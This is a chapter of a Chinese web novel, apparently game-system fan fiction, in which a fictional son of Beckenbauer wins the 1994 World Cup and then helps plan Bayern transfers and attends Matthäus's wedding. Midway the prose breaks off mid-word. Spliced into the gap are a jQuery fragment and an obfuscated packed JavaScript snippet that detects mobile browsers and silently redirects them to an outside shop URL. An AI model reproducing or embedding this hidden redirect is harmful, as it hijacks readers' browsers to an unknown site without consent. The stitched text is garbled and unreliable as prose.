随着颁奖台搭起，金色与红色的彩带在看台边缘摇曳，德国队的队歌渐渐响彻全场。
瘫倒在草皮上的德国球员们，已经在替补席队员的搀扶下缓缓起身，每个人都浑身湿透，双腿酸胀得打颤，而队医忙着给肌肉抽搐的队员喷药、按摩。即便浑身虚脱，每个人的眼底都燃着夺冠的炽热光芒。
现场解说的声音透过扩音器，传遍球场每一个角落，语气满是抑制不住的赞叹：
“比赛结束！德国队2-1战胜巴西队，成功卫冕1994年美国世界杯冠军！这是属于德意志战车的荣耀时刻！两小时鏖战，加时赛两次绝境发力，他们用钢铁般的意志，守住了卫冕冠军的荣耀！”
“我们必须要提到年轻的卡斯帕·贝肯鲍尔！加时赛关键扳平进球，一脚精妙假传真射撕破巴西防线，最后时刻送出致命助攻，帮助克林斯曼锁定胜局！在全队体能枯竭的时刻，是他站了出来，用两粒关键进球相关的表现，扛起了整支球队！年轻的他，在世界杯决赛的舞台上，交出了毫无瑕疵的答卷，他完美传承了贝肯鲍尔的足球天赋、甚至远胜于此——这颗足坛新星，在世界之巅彻底闪耀！”
解说的夸赞声中，德国队队员互相搂着肩膀，一步步走向颁奖台。队长马特乌斯走在最前方，疲惫的脸上写满释然与骄傲，队员们依次列队，脸上带着汗水、疲惫，还有藏不住的喜悦。
巴西队队员则列队走上前，接受亚军奖牌，罗马里奥、邓加、贝贝托这些在赛场上骁勇无比的球星，此刻都难掩失落，神色黯然，却还是礼貌性地接过奖牌，向现场球迷致意。
颁奖嘉宾手持世界杯冠军奖牌，逐一为德国队队员佩戴。当奖牌挂在脖颈上，冰凉的触感与沉甸甸的分量，让所有人都露出了释然的笑容。卡斯帕微微低头，接过奖牌，指尖摩挲着奖牌的纹路，耳边的欢呼、解说的夸赞、队友的笑声交织在一起，汇成最动人的夺冠乐章。
待到所有队员佩戴完毕，马特乌斯伸手捧起大力神杯，在队友的簇拥下，高高举起！
“嘭——”
五彩纸屑漫天飞舞，金色的纸屑落在队员们湿透的球衣上，欢呼声瞬间达到顶峰。队员们簇拥在一起，轮流捧着金杯，疲惫的身躯里迸发出最后的力气，欢呼着、跳跃着，彼此相拥庆祝。
卡斯帕被队友围在中间，看着被高高举起的大力神杯，听着全场响彻的喝彩，只是安静地笑着，脖颈间的奖牌与身后漫天纸屑相映，见证着他的世界杯封神时刻。
现场解说依旧在高声总结：
“决赛全场最佳，毫无悬念属于卡斯帕·贝肯鲍尔！关键进球、制胜助攻，他用实力证明，自己不仅仅是贝肯鲍尔的儿子，更是独当一面的足坛新王！德意志战车卫冕成功，一个属于年轻一代的足球时代，就此拉开序幕！”
阳光洒在绿茵场上，金色的奖杯、欢呼的人群、疲惫却骄傲的德国队员，共同定格了1994年世界杯最荣耀的加冕瞬间。
……
【达成成就：子承父业】
【达成成就：最年轻的捧杯者】
【达成成就：太子登基】
你：【子承父业】那一条怎么达成的指标怪怪的？什么叫架空教练？我们卡斯分明是友好地指出教练的问题，教练也虚心接受啊！
……
决赛结束的第二天，各大报纸的体育版头条，全部被世界杯新纪录霸占。
黑体大字赫然写着：十七周岁二百二十三天，卡斯帕·贝肯鲍尔，比贝利年轻二十六天，成为历史上最年轻的世界杯冠军得主！
可狂欢的氛围之下，德国队内的矛盾却被旧事重提了。
回国的新闻发布会上，马特乌斯面对一众记者，毫不避讳地公开点评福格茨的执教。他直言主教练战术过于保守，世界杯前期迟迟不敢启用卡斯帕这样的新人，是整届赛事德国队最大的隐患。
这番话一经流出，立刻引爆德国媒体。福格茨对此极为恼火，两人之间本就存在的裂痕，被赤裸裸摊开在公众视野。
面对舆论漩涡中心，卡斯帕的发言却滴水不漏。他语气平和客观，既没有顺着马特乌斯的说法大肆渲染教练的失误，也没有刻意去反驳队长：“年轻人踏上世界杯赛场，本就要承受怀疑与考验。我很感激教练最终愿意信任我。马特乌斯的说法并不完全准确，为了夺冠，福格茨教练同样做出很多调整。纵然前期我们之间存在误会，但最终的结果是圆满的。”
一番得体的表态，让在场记者咋舌。
克林斯曼也站出来，毫不吝啬自己的赞美，公开称卡斯帕就是德国足球崭新的未来。话都说到这份上，福格茨纵使心里对马特乌斯满腹怨气，也不好再针对卡斯帕发表什么言论。
贝肯鲍尔那叫一个心累，直接跟好徒弟马特乌斯明言赢下世界杯就该把过往分歧翻篇，不要什么都一股脑抛给媒体制造队内风波。
不过令人欣慰的是，虽然卡斯帕平时话不多，但应对这些事情却懂得分寸，颇得他真传呢。
在回国之际，克林斯曼特意找到卡斯帕，主动问他要了联系方式，笑着邀约，等假期有空，两人可以约时间碰面小聚。
而回到德国本土，举国上下都沉浸在世界杯夺冠的狂欢浪潮里，卡斯帕却没有被铺天盖地的荣誉冲昏头脑。
休假期间，他抽出时间前去探望母亲，余下日子给自己安排了一套强度克制的个人训练计划。
大赛刚结束，身体需要休养，他没有上高强度，却依旧保持稳定的身体状态。
如今已经坐上拜仁主席位置的贝肯鲍尔，看着儿子这份超乎年龄的自律，内心十分欣慰，却又忍不住生出一丝顾虑。太过紧绷、时时刻刻不肯松懈，未必全然是好事。
趁着闲暇，父子二人坐在办公室里，摊开球探报告，一同商议拜仁下赛季的引援计划。
“老门将年纪已经偏大，卡恩，一定要拿下。”贝肯鲍尔指尖点在报告上。
卡斯帕低头翻阅厚厚一叠球探资料，文档里夹杂不少赫内斯、鲁梅尼格推荐过来的人选。
玩家视角扫过面板，除去卡恩之外，一份资料格外扎眼——巴拉克。面板各项数据颇为均衡，潜力条跟其他人一比直接拉满。
你立刻去论坛搜索该NPC实际，看完倒吸一口凉气：嘶，好倒霉的大满亚，但实打实的全能中场、很厉害啊。
你：买他！
再往下翻，帕潘的能力数值正在明显下滑，系统给出提示，不建议购
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17907557|207960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
入。
其余球员，卡斯帕没有提出更多意见。
“就这两个人优先推进。”卡斯帕把卡恩和巴拉克的报告推到贝肯鲍尔面前。
贝肯鲍尔目光落在巴拉克那份球探报告上，眉头微微蹙起，指尖无意识叩击桌面。纸页上写满这名年轻东德中场的潜力评估，可在他看来，巴拉克尚且没有打出足够分量的赛场表现，远没有到必须全力争取的程度。更现实的一层顾虑横亘心底，两德统一时日尚短，东德出身球员在德甲圈子里依旧带着一层微妙的隔阂。
“卡恩毋庸置疑，是我们必须拿下的门将人选。”贝肯鲍尔把卡恩的资料放到一旁，指尖依旧停留在巴拉克的档案上，语气带着审慎，“但这个巴拉克，现在还没有足够拿得出手的亮眼履历，不值得我们投入过多资源去争抢。况且，你知道的，西德地区并不欢迎东德来的人。”
办公室里安静一瞬，窗外慕尼黑夏日的光线斜斜落进来，铺在摊开的一堆球探文件上。
卡斯帕抬起眼，神色平和，没有激烈争辩，声音淡淡的，却格外清晰：
“我幼年家里请来过的保姆，也是东德人。爸爸，我一直都记得。我们本就是同一个民族的一家人，不该有这样的分别。”
贝肯鲍尔一愣，下意识脱口而出：“保姆？我怎么不记得你小时候还有一位东德保姆？”
话音落下的刹那，他才猛然回过神。卡斯帕降生前后那几年，他四处奔波、和布丽吉特感情趋于破裂，甚至和前女友定居美国，对于幼子四岁前的生活，本就所知不多。
猝不及防的回忆缺口让凯撒难得生出几分窘迫，他轻咳一声，避开儿子的视线，抬手揉了揉眉心。
“……行。这件事我记下来。我会通知赫内斯，让球探团队跟进巴拉克的情况，推进接触。”他最终松了口，把那份报告单独抽出来，放到待处理的文件堆里。
话题就此翻过。
过了一会儿，贝肯鲍尔想起马特乌斯的婚事。
1994年夏天，马特乌斯将要和瑞士电视主持人兼模特洛丽塔·莫雷纳举行婚礼，二人早已育有一子，这件事在世界杯热度后开始霸占德国大小八卦报的体育版面。
“马特乌斯的婚礼快要举办了。”贝肯鲍尔看向卡斯帕，“你过去出席一趟，婚礼结束之后也顺势给自己放几天假，不必时时刻刻埋在训练和战术资料里。”
卡斯帕自然应下。
婚礼办得不算铺张，却依旧聚齐了不少足坛圈内人物。场内闪光灯此起彼伏，小报记者挤在场地外围不停抓拍。马特乌斯一身得体西装，新婚妻子洛丽塔明艳动人，年幼的孩子待在亲属席位。经历过世界杯上的鏖战，又经历发布会公开和福格茨的争执，此刻的马特乌斯卸下赛场压力，周身满是新婚的松弛。
仪式礼毕，宾客陆续散去。谁也没料到马特乌斯临时生出主意。
他拍了拍卡斯帕的肩膀，笑意爽朗：“反正假期还长，别着急回慕尼黑。跟我们一同去瑞士，去洛丽塔的老家转转，好好散心。”
卡斯帕略感意外，却也没有推辞。
就这样，一行人动身前往瑞士。一路向南，越过国境线，周遭风景慢慢切换成阿尔卑斯山区独有的样貌。